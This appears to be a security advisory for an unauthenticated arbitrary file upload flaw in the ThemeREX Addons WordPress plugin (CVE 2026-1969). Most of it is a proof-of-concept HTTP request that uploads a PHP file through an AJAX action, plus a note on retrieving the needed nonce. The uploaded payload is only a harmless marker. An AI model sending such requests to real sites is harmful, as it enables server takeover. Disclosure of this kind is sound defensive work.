ThemeREX Addons < 2.38.5 – Unauthenticated Arbitrary File Upload | CVE 2026-1969

Description

The plugin does not correctly validate file types in one of its AJAX action, allowing unauthenticated users to upload arbitrary file. This is due to an incorrect fix of CVE-2024-13448

Proof of Concept

The nonce can be retrieved from the homepage: TRX_ADDONS_STORAGE.ajax_nonce
Furthermore, it requires either the OpenAI or ModelsLab API token to be set, as well as a theme using the plugin.

POST /wp-admin/admin-ajax.php?action=trx_addons_ai_helper_agenerator&prompt=a&nonce=774e9826fe&model=modelslab/a&count=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundarye725bbee38e6fdf0a0810dad7a28e893
Content-Length: 401
Connection: keep-alive
Upgrade-Insecure-Requests: 1

------geckoformboundarye725bbee38e6fdf0a0810dad7a28e893
Content-Disposition: form-data; name="upload_voice"; filename="134.php"
Content-Type: text/php

<?php echo 'FAILED'; ?>

------geckoformboundarye725bbee38e6fdf0a0810dad7a28e893
Content-Disposition: form-data; name="upload_audio"; filename="s.mp3"
Content-Type: image/jpg

a

------geckoformboundarye725bbee38e6fdf0a0810dad7a28e893--